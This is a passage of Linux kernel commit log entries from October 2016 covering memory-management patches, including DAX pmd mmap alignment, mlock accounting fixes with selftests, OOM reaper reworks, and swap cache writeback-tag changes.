dbe6ec815641aa22b50775aaeb47fa3a8d04ccf1 Author: Toshi Kani Date: Fri Oct 7 16:59:59 2016 -0700 ext2/4, xfs: call thp_get_unmapped_area() for pmd mappings To support DAX pmd mappings with unmodified applications, filesystems need to align an mmap address by the pmd size. Call thp_get_unmapped_area() from f_op->get_unmapped_area. Note, there is no change in behavior for a non-DAX file. Link: http://lkml.kernel.org/r/1472497881-9323-3-git-send-email-toshi.kani@hpe.com Signed-off-by: Toshi Kani Cc: Dan Williams Cc: Matthew Wilcox Cc: Ross Zwisler Cc: Kirill A. Shutemov Cc: Dave Chinner Cc: Jan Kara Cc: Theodore Ts'o Cc: Andreas Dilger Cc: Mike Kravetz Cc: "Kirill A. Shutemov" Cc: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds fs/ext2/file.c | 1 + fs/ext4/file.c | 1 + fs/xfs/xfs_file.c | 1 + 3 files changed, 3 insertions(+) commit 74d2fad1334d12bac8fe017aba598dd66c86628b Author: Toshi Kani Date: Fri Oct 7 16:59:56 2016 -0700 thp, dax: add thp_get_unmapped_area for pmd mappings When CONFIG_FS_DAX_PMD is set, DAX supports mmap() using pmd page size. This feature relies on both mmap virtual address and FS block (i.e. physical address) to be aligned by the pmd page size. Users can use mkfs options to specify FS to align block allocations. However, aligning mmap address requires code changes to existing applications for providing a pmd-aligned address to mmap(). For instance, fio with "ioengine=mmap" performs I/Os with mmap() [1]. It calls mmap() with a NULL address, which needs to be changed to provide a pmd-aligned address for testing with DAX pmd mappings. Changing all applications that call mmap() with NULL is undesirable. Add thp_get_unmapped_area(), which can be called by filesystem's get_unmapped_area to align an mmap address by the pmd size for a DAX file. It calls the default handler, mm->get_unmapped_area(), to find a range and then aligns it for a DAX file. The patch is based on Matthew Wilcox's change that allows adding support of the pud page size easily. [1]: https://github.com/axboe/fio/blob/master/engines/mmap.c Link: http://lkml.kernel.org/r/1472497881-9323-2-git-send-email-toshi.kani@hpe.com Signed-off-by: Toshi Kani Reviewed-by: Dan Williams Cc: Matthew Wilcox Cc: Ross Zwisler Cc: Kirill A. Shutemov Cc: Dave Chinner Cc: Jan Kara Cc: Theodore Ts'o Cc: Andreas Dilger Cc: Mike Kravetz Cc: "Kirill A. Shutemov" Cc: Hugh Dickins Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/huge_mm.h | 7 +++++++ mm/huge_memory.c | 43 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+) commit 26b4224d99615a19c002508c6e80bd3d1d783b64 Author: Simon Guo Date: Fri Oct 7 16:59:52 2016 -0700 selftests: expanding more mlock selftest This patch will randomly perform mlock/mlock2 on a given memory region, and verify the RLIMIT_MEMLOCK limitation works properly. Suggested-by: David Rientjes Link: http://lkml.kernel.org/r/1473325970-11393-4-git-send-email-wei.guo.simon@gmail.com Signed-off-by: Simon Guo Cc: Shuah Khan Cc: Vlastimil Babka Cc: "Kirill A. Shutemov" Cc: Michal Hocko Cc: Eric B Munson Cc: Simon Guo Cc: Mel Gorman Cc: Alexey Klimov Cc: Andrea Arcangeli Cc: Thierry Reding Cc: Mike Kravetz Cc: Geert Uytterhoeven Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds tools/testing/selftests/vm/Makefile | 4 +- tools/testing/selftests/vm/mlock-intersect-test.c | 76 ------ tools/testing/selftests/vm/mlock-random-test.c | 293 ++++++++++++++++++++++ 3 files changed, 295 insertions(+), 78 deletions(-) commit d5aed9c06712520a6e919dc5c0525e39d9795124 Author: Simon Guo Date: Fri Oct 7 16:59:49 2016 -0700 selftest: move seek_to_smaps_entry() out of mlock2-tests.c Function seek_to_smaps_entry() can be useful for other selftest functionalities, so move it out to header file. Link: http://lkml.kernel.org/r/1473325970-11393-3-git-send-email-wei.guo.simon@gmail.com Signed-off-by: Simon Guo Cc: Shuah Khan Cc: Vlastimil Babka Cc: "Kirill A. Shutemov" Cc: Michal Hocko Cc: Eric B Munson Cc: Simon Guo Cc: Mel Gorman Cc: Alexey Klimov Cc: Andrea Arcangeli Cc: Thierry Reding Cc: Mike Kravetz Cc: Geert Uytterhoeven Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds tools/testing/selftests/vm/mlock2-tests.c | 42 ------------------------------- tools/testing/selftests/vm/mlock2.h | 42 +++++++++++++++++++++++++++++++ 2 files changed, 42 insertions(+), 42 deletions(-) commit 1448d4d8931c53a9b965a6883055a4c6150f859a Author: Simon Guo Date: Fri Oct 7 16:59:46 2016 -0700 selftests/vm: add test for mlock() when areas are intersected This patch adds mlock() test for multiple invocation on the same address area, and verify it doesn't mess the rlimit mlock limitation. Link: http://lkml.kernel.org/r/1472554781-9835-5-git-send-email-wei.guo.simon@gmail.com Signed-off-by: Simon Guo Cc: Alexey Klimov Cc: Eric B Munson Cc: Geert Uytterhoeven Cc: "Kirill A. Shutemov" Cc: Mel Gorman Cc: Michal Hocko Cc: Shuah Khan Cc: Simon Guo Cc: Thierry Reding Cc: Vlastimil Babka Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds tools/testing/selftests/vm/.gitignore | 1 + tools/testing/selftests/vm/Makefile | 4 ++ tools/testing/selftests/vm/mlock-intersect-test.c | 76 +++++++++++++++++++++++ 3 files changed, 81 insertions(+) commit c7f032bbe4cacb57e49d5c48bf06de8dc28a449f Author: Simon Guo Date: Fri Oct 7 16:59:43 2016 -0700 selftest: split mlock2_ funcs into separate mlock2.h To prepare mlock2.h whose functionality will be reused. Link: http://lkml.kernel.org/r/1472554781-9835-4-git-send-email-wei.guo.simon@gmail.com Signed-off-by: Simon Guo Cc: Alexey Klimov Cc: Eric B Munson Cc: Geert Uytterhoeven Cc: "Kirill A. Shutemov" Cc: Mel Gorman Cc: Michal Hocko Cc: Shuah Khan Cc: Simon Guo Cc: Thierry Reding Cc: Vlastimil Babka Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds tools/testing/selftests/vm/mlock2-tests.c | 21 +-------------------- tools/testing/selftests/vm/mlock2.h | 20 ++++++++++++++++++++ 2 files changed, 21 insertions(+), 20 deletions(-) commit b155b4fde5bdde9fed439cd1f5ea07173df2ed31 Author: Simon Guo Date: Fri Oct 7 16:59:40 2016 -0700 mm: mlock: avoid increase mm->locked_vm on mlock() when already mlock2(,MLOCK_ONFAULT) When one vma was with flag VM_LOCKED|VM_LOCKONFAULT (by invoking mlock2(,MLOCK_ONFAULT)), it can again be populated with mlock() with VM_LOCKED flag only. There is a hole in mlock_fixup() which increase mm->locked_vm twice even the two operations are on the same vma and both with VM_LOCKED flags. The issue can be reproduced by following code: mlock2(p, 1024 * 64, MLOCK_ONFAULT); //VM_LOCKED|VM_LOCKONFAULT mlock(p, 1024 * 64); //VM_LOCKED Then check the increase VmLck field in /proc/pid/status(to 128k). When vma is set with different vm_flags, and the new vm_flags is with VM_LOCKED, it is not necessarily be a "new locked" vma. This patch corrects this bug by prevent mm->locked_vm from increment when old vm_flags is already VM_LOCKED. Link: http://lkml.kernel.org/r/1472554781-9835-3-git-send-email-wei.guo.simon@gmail.com Signed-off-by: Simon Guo Acked-by: Kirill A. Shutemov Cc: Alexey Klimov Cc: Eric B Munson Cc: Geert Uytterhoeven Cc: Mel Gorman Cc: Michal Hocko Cc: Shuah Khan Cc: Simon Guo Cc: Thierry Reding Cc: Vlastimil Babka Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mlock.c | 3 +++ 1 file changed, 3 insertions(+) commit 0cf2f6f6dc605e587d2c1120f295934c77e810e8 Author: Simon Guo Date: Fri Oct 7 16:59:36 2016 -0700 mm: mlock: check against vma for actual mlock() size In do_mlock(), the check against locked memory limitation has a hole which will fail following cases at step 3): 1) User has a memory chunk from addressA with 50k, and user mem lock rlimit is 64k. 2) mlock(addressA, 30k) 3) mlock(addressA, 40k) The 3rd step should have been allowed since the 40k request is intersected with the previous 30k at step 2), and the 3rd step is actually for mlock on the extra 10k memory. This patch checks vma to caculate the actual "new" mlock size, if necessary, and ajust the logic to fix this issue. [akpm@linux-foundation.org: clean up comment layout] [wei.guo.simon@gmail.com: correct a typo in count_mm_mlocked_page_nr()] Link: http://lkml.kernel.org/r/1473325970-11393-2-git-send-email-wei.guo.simon@gmail.com Link: http://lkml.kernel.org/r/1472554781-9835-2-git-send-email-wei.guo.simon@gmail.com Signed-off-by: Simon Guo Cc: Alexey Klimov Cc: Eric B Munson Cc: Geert Uytterhoeven Cc: "Kirill A. Shutemov" Cc: Mel Gorman Cc: Michal Hocko Cc: Shuah Khan Cc: Simon Guo Cc: Thierry Reding Cc: Vlastimil Babka Cc: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mlock.c | 49 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit 9254990fb9f0f15f25605748da20cfbeced7c816 Author: Michal Hocko Date: Fri Oct 7 16:59:33 2016 -0700 oom: warn if we go OOM for higher order and compaction is disabled Since the lumpy reclaim is gone there is no source of higher order pages if CONFIG_COMPACTION=n except for the order-0 pages reclaim which is unreliable for that purpose to say the least. Hitting an OOM for !costly higher order requests is therefore all not that hard to imagine. We are trying hard to not invoke OOM killer as much as possible but there is simply no reliable way to detect whether more reclaim retries make sense. Disabling COMPACTION is not widespread but it seems that some users might have disable the feature without realizing full consequences (mostly along with disabling THP because compaction used to be THP mainly thing). This patch just adds a note if the OOM killer was triggered by higher order request with compaction disabled. This will help us identifying possible misconfiguration right from the oom report which is easier than to always keep in mind that somebody might have disabled COMPACTION without a good reason. Link: http://lkml.kernel.org/r/20160830111632.GD23963@dhcp22.suse.cz Signed-off-by: Michal Hocko Cc: David Rientjes Cc: Johannes Weiner Cc: Tetsuo Handa Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/oom_kill.c | 2 ++ 1 file changed, 2 insertions(+) commit 371a096edf43a8c71844cf71c20765c8b21d07d9 Author: Huang Ying Date: Fri Oct 7 16:59:30 2016 -0700 mm: don't use radix tree writeback tags for pages in swap cache File pages use a set of radix tree tags (DIRTY, TOWRITE, WRITEBACK, etc.) to accelerate finding the pages with a specific tag in the radix tree during inode writeback. But for anonymous pages in the swap cache, there is no inode writeback. So there is no need to find the pages with some writeback tags in the radix tree. It is not necessary to touch radix tree writeback tags for pages in the swap cache. Per Rik van Riel's suggestion, a new flag AS_NO_WRITEBACK_TAGS is introduced for address spaces which don't need to update the writeback tags. The flag is set for swap caches. It may be used for DAX file systems, etc. With this patch, the swap out bandwidth improved 22.3% (from ~1.2GB/s to ~1.48GBps) in the vm-scalability swap-w-seq test case with 8 processes. The test is done on a Xeon E5 v3 system. The swap device used is a RAM simulated PMEM (persistent memory) device. The improvement comes from the reduced contention on the swap cache radix tree lock. To test sequential swapping out, the test case uses 8 processes, which sequentially allocate and write to the anonymous pages until RAM and part of the swap device is used up. Details of comparison is as follow, base base+patch ---------------- -------------------------- %stddev %change %stddev \ | \ 2506952 ± 2% +28.1% 3212076 ± 7% vm-scalability.throughput 1207402 ± 7% +22.3% 1476578 ± 6% vmstat.swap.so 10.86 ± 12% -23.4% 8.31 ± 16% perf-profile.cycles-pp._raw_spin_lock_irq.__add_to_swap_cache.add_to_swap_cache.add_to_swap.shrink_page_list 10.82 ± 13% -33.1% 7.24 ± 14% perf-profile.cycles-pp._raw_spin_lock_irqsave.__remove_mapping.shrink_page_list.shrink_inactive_list.shrink_zone_memcg 10.36 ± 11% -100.0% 0.00 ± -1% perf-profile.cycles-pp._raw_spin_lock_irqsave.__test_set_page_writeback.bdev_write_page.__swap_writepage.swap_writepage 10.52 ± 12% -100.0% 0.00 ± -1% perf-profile.cycles-pp._raw_spin_lock_irqsave.test_clear_page_writeback.end_page_writeback.page_endio.pmem_rw_page Link: http://lkml.kernel.org/r/1472578089-5560-1-git-send-email-ying.huang@intel.com Signed-off-by: "Huang, Ying" Acked-by: Rik van Riel Cc: Hugh Dickins Cc: Shaohua Li Cc: Minchan Kim Cc: Mel Gorman Cc: Tejun Heo Cc: Wu Fengguang Cc: Dave Hansen Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/pagemap.h | 12 ++++++++++++ mm/page-writeback.c | 4 ++-- mm/swap_state.c | 2 ++ 3 files changed, 16 insertions(+), 2 deletions(-) commit 1d8bf926f8739bd35d054097907fef35d881e403 Author: zijun_hu Date: Fri Oct 7 16:59:27 2016 -0700 mm/bootmem.c: replace kzalloc() by kzalloc_node() In ___alloc_bootmem_node_nopanic(), replace kzalloc() by kzalloc_node() in order to allocate memory within given node preferentially when slab is available Link: http://lkml.kernel.org/r/1f487f12-6af4-5e4f-a28c-1de2361cdcd8@zoho.com Signed-off-by: zijun_hu Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/bootmem.c | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) commit 2382705f22c1436a153800cf6051b08f0ea14838 Author: zijun_hu Date: Fri Oct 7 16:59:24 2016 -0700 mm/nobootmem.c: remove duplicate macro ARCH_LOW_ADDRESS_LIMIT statements Fix the following bugs: - the same ARCH_LOW_ADDRESS_LIMIT statements are duplicated between header and relevant source - don't ensure ARCH_LOW_ADDRESS_LIMIT perhaps defined by ARCH in asm/processor.h is preferred over default in linux/bootmem.h completely since the former header isn't included by the latter Link: http://lkml.kernel.org/r/e046aeaa-e160-6d9e-dc1b-e084c2fd999f@zoho.com Signed-off-by: zijun_hu Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/bootmem.h | 9 +++++---- mm/nobootmem.c | 10 +++++----- 2 files changed, 10 insertions(+), 9 deletions(-) commit 1e76609cc1646c5222feefe86a3433a79be4fb73 Author: Srikar Dronamraju Date: Fri Oct 7 16:59:21 2016 -0700 powerpc: implement arch_reserved_kernel_pages Currently significant amount of memory is reserved only in kernel booted to capture kernel dump using the fa_dump method. Kernels compiled with CONFIG_DEFERRED_STRUCT_PAGE_INIT will initialize only certain size memory per node. The certain size takes into account the dentry and inode cache sizes. Currently the cache sizes are calculated based on the total system memory including the reserved memory. However such a kernel when booting the same kernel as fadump kernel will not be able to allocate the required amount of memory to suffice for the dentry and inode caches. This results in crashes like Hence only implement arch_reserved_kernel_pages() for CONFIG_FA_DUMP configurations. The amount reserved will be reduced while calculating the large caches and will avoid crashes like the below on large systems such as 32 TB systems. Dentry cache hash table entries: 536870912 (order: 16, 4294967296 bytes) vmalloc: allocation failure, allocated 4097114112 of 17179934720 bytes swapper/0: page allocation failure: order:0, mode:0x2080020(GFP_ATOMIC) CPU: 0 PID: 0 Comm: swapper/0 Not tainted 4.6-master+ #3 Call Trace: dump_stack+0xb0/0xf0 (unreliable) warn_alloc_failed+0x114/0x160 __vmalloc_node_range+0x304/0x340 __vmalloc+0x6c/0x90 alloc_large_system_hash+0x1b8/0x2c0 inode_init+0x94/0xe4 vfs_caches_init+0x8c/0x13c start_kernel+0x50c/0x578 start_here_common+0x20/0xa8 Link: http://lkml.kernel.org/r/1472476010-4709-4-git-send-email-srikar@linux.vnet.ibm.com Signed-off-by: Srikar Dronamraju Suggested-by: Mel Gorman Cc: Vlastimil Babka Cc: Michal Hocko Cc: Michael Ellerman Cc: Mahesh Salgaonkar Cc: Hari Bathini Cc: Dave Hansen Cc: Balbir Singh Cc: Benjamin Herrenschmidt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds arch/powerpc/include/asm/mmzone.h | 3 +++ arch/powerpc/kernel/fadump.c | 5 +++++ 2 files changed, 8 insertions(+) commit 8907de5dc6e9d5925cf3b0a698cc3a4272fda073 Author: Srikar Dronamraju Date: Fri Oct 7 16:59:18 2016 -0700 mm/memblock.c: expose total reserved memory The total reserved memory in a system is accounted but not available for use use outside mm/memblock.c. By exposing the total reserved memory, systems can better calculate the size of large hashes. Link: http://lkml.kernel.org/r/1472476010-4709-3-git-send-email-srikar@linux.vnet.ibm.com Signed-off-by: Srikar Dronamraju Suggested-by: Mel Gorman Cc: Vlastimil Babka Cc: Michal Hocko Cc: Michael Ellerman Cc: Mahesh Salgaonkar Cc: Hari Bathini Cc: Dave Hansen Cc: Balbir Singh Cc: Benjamin Herrenschmidt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/memblock.h | 1 + mm/memblock.c | 5 +++++ 2 files changed, 6 insertions(+) commit f6f34b4387d9e18304451a131b35d7c4f27a0b5a Author: Srikar Dronamraju Date: Fri Oct 7 16:59:15 2016 -0700 mm: introduce arch_reserved_kernel_pages() Currently arch specific code can reserve memory blocks but alloc_large_system_hash() may not take it into consideration when sizing the hashes. This can lead to bigger hash than required and lead to no available memory for other purposes. This is specifically true for systems with CONFIG_DEFERRED_STRUCT_PAGE_INIT enabled. One approach to solve this problem would be to walk through the memblock regions and calculate the available memory and base the size of hash system on the available memory. The other approach would be to depend on the architecture to provide the number of pages that are reserved. This change provides hooks to allow the architecture to provide the required info. Link: http://lkml.kernel.org/r/1472476010-4709-2-git-send-email-srikar@linux.vnet.ibm.com Signed-off-by: Srikar Dronamraju Suggested-by: Mel Gorman Cc: Vlastimil Babka Cc: Michal Hocko Cc: Michael Ellerman Cc: Mahesh Salgaonkar Cc: Hari Bathini Cc: Dave Hansen Cc: Balbir Singh Cc: Benjamin Herrenschmidt Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm.h | 3 +++ mm/page_alloc.c | 12 ++++++++++++ 2 files changed, 15 insertions(+) commit c9634cf012321243ee8e4ea0fb0709904cd58395 Author: Aneesh Kumar K.V Date: Fri Oct 7 16:59:12 2016 -0700 mm: use zonelist name instead of using hardcoded index Use the existing enums instead of hardcoded index when looking at the zonelist. This makes it more readable. No functionality change by this patch. Link: http://lkml.kernel.org/r/1472227078-24852-1-git-send-email-aneesh.kumar@linux.vnet.ibm.com Signed-off-by: Aneesh Kumar K.V Reviewed-by: Anshuman Khandual Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/mempolicy.c | 2 +- mm/page_alloc.c | 8 ++++---- mm/vmscan.c | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) commit 1b51e65eab64fac72cab009691e8ca9915624876 Author: Michal Hocko Date: Fri Oct 7 16:59:09 2016 -0700 oom, oom_reaper: allow to reap mm shared by the kthreads oom reaper was skipped for an mm which is shared with the kernel thread (aka use_mm()). The primary concern was that such a kthread might want to read from the userspace memory and see zero page as a result of the oom reaper action. This is no longer a problem after "mm: make sure that kthreads will not refault oom reaped memory" because any attempt to fault in when the MMF_UNSTABLE is set will result in SIGBUS and so the target user should see an error. This means that we can finally allow oom reaper also to tasks which share their mm with kthreads. Link: http://lkml.kernel.org/r/1472119394-11342-10-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Cc: Tetsuo Handa Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds mm/oom_kill.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit 3f70dc38cec2ad6e5355f80c4c7a15a3f7e97a19 Author: Michal Hocko Date: Fri Oct 7 16:59:06 2016 -0700 mm: make sure that kthreads will not refault oom reaped memory There are only few use_mm() users in the kernel right now. Most of them write to the target memory but vhost driver relies on copy_from_user/get_user from a kernel thread context. This makes it impossible to reap the memory of an oom victim which shares the mm with the vhost kernel thread because it could see a zero page unexpectedly and theoretically make an incorrect decision visible outside of the killed task context. To quote Michael S. Tsirkin: : Getting an error from __get_user and friends is handled gracefully. : Getting zero instead of a real value will cause userspace : memory corruption. The vhost kernel thread is bound to an open fd of the vhost device which is not tight to the mm owner life cycle in general. The device fd can be inherited or passed over to another process which means that we really have to be careful about unexpected memory corruption because unlike for normal oom victims the result will be visible outside of the oom victim context. Make sure that no kthread context (users of use_mm) can ever see corrupted data because of the oom reaper and hook into the page fault path by checking MMF_UNSTABLE mm flag. __oom_reap_task_mm will set the flag before it starts unmapping the address space while the flag is checked after the page fault has been handled. If the flag is set then SIGBUS is triggered so any g-u-p user will get a error code. Regular tasks do not need this protection because all which share the mm are killed when the mm is reaped and so the corruption will not outlive them. This patch shouldn't have any visible effect at this moment because the OOM killer doesn't invoke oom reaper for tasks with mm shared with kthreads yet. Link: http://lkml.kernel.org/r/1472119394-11342-9-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Acked-by: "Michael S. Tsirkin" Cc: Tetsuo Handa Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/sched.h | 1 + mm/memory.c | 13 +++++++++++++ mm/oom_kill.c | 8 ++++++++ 3 files changed, 22 insertions(+) commit 38531201c12144cd7d96abfdfe7449c2b01375e8 Author: Tetsuo Handa Date: Fri Oct 7 16:59:03 2016 -0700 mm, oom: enforce exit_oom_victim on current task There are no users of exit_oom_victim on !current task anymore so enforce the API to always work on the current. Link: http://lkml.kernel.org/r/1472119394-11342-8-git-send-email-mhocko@kernel.org Signed-off-by: Tetsuo Handa Signed-off-by: Michal Hocko Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/oom.h | 2 +- kernel/exit.c | 2 +- mm/oom_kill.c | 5 ++--- 3 files changed, 4 insertions(+), 5 deletions(-) commit 7d2e7a22cf27e7569e6816ccc05dd74248048b30 Author: Michal Hocko Date: Fri Oct 7 16:59:00 2016 -0700 oom, suspend: fix oom_killer_disable vs. pm suspend properly Commit 74070542099c ("oom, suspend: fix oom_reaper vs. oom_killer_disable race") has workaround an existing race between oom_killer_disable and oom_reaper by adding another round of try_to_freeze_tasks after the oom killer was disabled. This was the easiest thing to do for a late 4.7 fix. Let's fix it properly now. After "oom: keep mm of the killed task available" we no longer have to call exit_oom_victim from the oom reaper because we have stable mm available and hide the oom_reaped mm by MMF_OOM_SKIP flag. So let's remove exit_oom_victim and the race described in the above commit doesn't exist anymore if. Unfortunately this alone is not sufficient for the oom_killer_disable usecase because now we do not have any reliable way to reach exit_oom_victim (the victim might get stuck on a way to exit for an unbounded amount of time). OOM killer can cope with that by checking mm flags and move on to another victim but we cannot do the same for oom_killer_disable as we would lose the guarantee of no further interference of the victim with the rest of the system. What we can do instead is to cap the maximum time the oom_killer_disable waits for victims. The only current user of this function (pm suspend) already has a concept of timeout for back off so we can reuse the same value there. Let's drop set_freezable for the oom_reaper kthread because it is no longer needed as the reaper doesn't wake or thaw any processes. Link: http://lkml.kernel.org/r/1472119394-11342-7-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Cc: Tetsuo Handa Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/oom.h | 2 +- kernel/power/process.c | 17 +++-------------- mm/oom_kill.c | 40 ++++++++++++++++++++-------------------- 3 files changed, 24 insertions(+), 35 deletions(-) commit 862e3073b3eed13f17bd6be6ca6052db15c0b728 Author: Michal Hocko Date: Fri Oct 7 16:58:57 2016 -0700 mm, oom: get rid of signal_struct::oom_victims After "oom: keep mm of the killed task available" we can safely detect an oom victim by checking task->signal->oom_mm so we do not need the signal_struct counter anymore so let's get rid of it. This alone wouldn't be sufficient for nommu archs because exit_oom_victim doesn't hide the process from the oom killer anymore. We can, however, mark the mm with a MMF flag in __mmput. We can reuse MMF_OOM_REAPED and rename it to a more generic MMF_OOM_SKIP. Link: http://lkml.kernel.org/r/1472119394-11342-6-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Cc: Tetsuo Handa Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/oom.h | 5 +++++ include/linux/sched.h | 3 +-- kernel/fork.c | 1 + mm/oom_kill.c | 17 +++++++---------- 4 files changed, 14 insertions(+), 12 deletions(-) commit 7283094ec3db318e87ec9e31cf75f136ac2a4dd3 Author: Michal Hocko Date: Fri Oct 7 16:58:54 2016 -0700 kernel, oom: fix potential pgd_lock deadlock from __mmdrop Lockdep complains that __mmdrop is not safe from the softirq context: ================================= [ INFO: inconsistent lock state ] 4.6.0-oomfortification2-00011-geeb3eadeab96-dirty #949 Tainted: G W --------------------------------- inconsistent {SOFTIRQ-ON-W} -> {IN-SOFTIRQ-W} usage. swapper/1/0 [HC0[0]:SC1[1]:HE1:SE0] takes: (pgd_lock){+.?...}, at: pgd_free+0x19/0x6b {SOFTIRQ-ON-W} state was registered at: __lock_acquire+0xa06/0x196e lock_acquire+0x139/0x1e1 _raw_spin_lock+0x32/0x41 __change_page_attr_set_clr+0x2a5/0xacd change_page_attr_set_clr+0x16f/0x32c set_memory_nx+0x37/0x3a free_init_pages+0x9e/0xc7 alternative_instructions+0xa2/0xb3 check_bugs+0xe/0x2d start_kernel+0x3ce/0x3ea x86_64_start_reservations+0x2a/0x2c x86_64_start_kernel+0x17a/0x18d irq event stamp: 105916 hardirqs last enabled at (105916): free_hot_cold_page+0x37e/0x390 hardirqs last disabled at (105915): free_hot_cold_page+0x2c1/0x390 softirqs last enabled at (105878): _local_bh_enable+0x42/0x44 softirqs last disabled at (105879): irq_exit+0x6f/0xd1 other info that might help us debug this: Possible unsafe locking scenario: CPU0 ---- lock(pgd_lock); lock(pgd_lock); *** DEADLOCK *** 1 lock held by swapper/1/0: #0: (rcu_callback){......}, at: rcu_process_callbacks+0x390/0x800 stack backtrace: CPU: 1 PID: 0 Comm: swapper/1 Tainted: G W 4.6.0-oomfortification2-00011-geeb3eadeab96-dirty #949 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Debian-1.8.2-1 04/01/2014 Call Trace: print_usage_bug.part.25+0x259/0x268 mark_lock+0x381/0x567 __lock_acquire+0x993/0x196e lock_acquire+0x139/0x1e1 _raw_spin_lock+0x32/0x41 pgd_free+0x19/0x6b __mmdrop+0x25/0xb9 __put_task_struct+0x103/0x11e delayed_put_task_struct+0x157/0x15e rcu_process_callbacks+0x660/0x800 __do_softirq+0x1ec/0x4d5 irq_exit+0x6f/0xd1 smp_apic_timer_interrupt+0x42/0x4d apic_timer_interrupt+0x8e/0xa0 arch_cpu_idle+0xf/0x11 default_idle_call+0x32/0x34 cpu_startup_entry+0x20c/0x399 start_secondary+0xfe/0x101 More over commit a79e53d85683 ("x86/mm: Fix pgd_lock deadlock") was explicit about pgd_lock not to be called from the irq context. This means that __mmdrop called from free_signal_struct has to be postponed to a user context. We already have a similar mechanism for mmput_async so we can use it here as well. This is safe because mm_count is pinned by mm_users. This fixes bug introduced by "oom: keep mm of the killed task available" Link: http://lkml.kernel.org/r/1472119394-11342-5-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Cc: Tetsuo Handa Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/mm_types.h | 2 -- include/linux/sched.h | 14 ++++++++++++++ kernel/fork.c | 6 +++++- 3 files changed, 19 insertions(+), 3 deletions(-) commit 26db62f179d112d345031e14926a4cda9cd40d6e Author: Michal Hocko Date: Fri Oct 7 16:58:51 2016 -0700 oom: keep mm of the killed task available oom_reap_task has to call exit_oom_victim in order to make sure that the oom vicim will not block the oom killer for ever. This is, however, opening new problems (e.g oom_killer_disable exclusion - see commit 74070542099c ("oom, suspend: fix oom_reaper vs. oom_killer_disable race")). exit_oom_victim should be only called from the victim's context ideally. One way to achieve this would be to rely on per mm_struct flags. We already have MMF_OOM_REAPED to hide a task from the oom killer since "mm, oom: hide mm which is shared with kthread or global init". The problem is that the exit path: do_exit exit_mm tsk->mm = NULL; mmput __mmput exit_oom_victim doesn't guarantee that exit_oom_victim will get called in a bounded amount of time. At least exit_aio depends on IO which might get blocked due to lack of memory and who knows what else is lurking there. This patch takes a different approach. We remember tsk->mm into the signal_struct and bind it to the signal struct life time for all oom victims. __oom_reap_task_mm as well as oom_scan_process_thread do not have to rely on find_lock_task_mm anymore and they will have a reliable reference to the mm struct. As a result all the oom specific communication inside the OOM killer can be done via tsk->signal->oom_mm. Increasing the signal_struct for something as unlikely as the oom killer is far from ideal but this approach will make the code much more reasonable and long term we even might want to move task->mm into the signal_struct anyway. In the next step we might want to make the oom killer exclusion and access to memory reserves completely independent which would be also nice. Link: http://lkml.kernel.org/r/1472119394-11342-4-git-send-email-mhocko@kernel.org Signed-off-by: Michal Hocko Cc: Tetsuo Handa Cc: Oleg Nesterov Cc: David Rientjes Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/sched.h | 2 ++ kernel/fork.c | 2 ++ mm/oom_kill.c | 51 +++++++++++++++++++-------------------------------- 3 files changed, 23 insertions(+), 32 deletions(-) commit 8496afaba93ece80a83cbd096f0675a1020ddfc4 Author: Tetsuo Handa Date: Fri Oct 7 16:58:48 2016 -0700 mm,oom_reaper: do not attempt to reap a task twice "mm, oom_reaper: do not attempt to reap a task twice" tried to give the OOM reaper one more chance to retry using MMF_OOM_NOT_REAPABLE flag. But the usefulness of the flag is rather limited and actually never shown in practice. If the flag is set, it means that the holder of mm->mmap_sem cannot call up_write() due to presumably being blocked at unkillable wait waiting for other thread's memory allocation. But since one of threads sharing that mm will queue that mm immediately via task_will_free_mem() shortcut (otherwise, oom_badness() will select the same mm again due to oom_score_adj value unchanged), retrying MMF_OOM_NOT_REAPABLE mm is unlikely helpful. Let's always set MMF_OOM_REAPED. Link: http://lkml.kernel.org/r/1472119394-11342-3-git-send-email-mhocko@kernel.org Signed-off-by: Tetsuo Handa Signed-off-by: Michal Hocko Cc: Oleg Nesterov Cc: David Rientjes 